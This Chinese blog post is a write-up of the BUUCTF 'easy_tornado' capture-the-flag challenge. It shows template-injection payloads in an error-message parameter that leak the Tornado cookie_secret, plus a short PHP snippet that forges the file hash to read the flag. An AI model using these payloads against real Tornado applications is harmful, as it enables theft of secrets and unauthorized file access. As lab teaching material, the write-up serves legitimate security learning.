有关于服务端模板注入(ssti攻击)——BUUCTF - easy_tornado

打开题目出现3个链接

 

 

/flag.txt 中提示flag in /fllllllllllllag

/welcome.txt 中提示 render

/hints.txt 中提示 md5(cookie_secret+md5(filename))

直接访问/fllllllllllllag失败。

百度了render可知,render是python的一个模板,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。

当filename或filehash不匹配时,将会跳转到http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg=Error   页面.

所以想到需要获取cookie_secret来得到filehash

存在msg参数,百度之后发现师傅们可以进行模块注入。尝试了error?msg={{1}},发现的确存在模块注入。

尝试搜索tornado cookie_secret。发现cookie_secret存放在handler.settings中。

于是构建payload

http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg={{hendler_settings}}

得到'cookie_secret': '2cdad0e1-16ac-4881-861a-daecaa637c2c'

于是用php写代码获取filehash值

<?php
$cookie_secret='2cdad0e1-16ac-4881-861a-daecaa637c2c';
$filename = '/fllllllllllllag';
$go = md5($cookie_secret . md5($filename));
echo $go;
?>
 
再次构建payload
http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/file?filename=/fllllllllllllag&filehash=98b8d02691da0221fc3fc43498a181d4
得到flag

 

 

posted @ 2019-09-07 14:46  seven昔年  阅读(980)  评论(0编辑  收藏  举报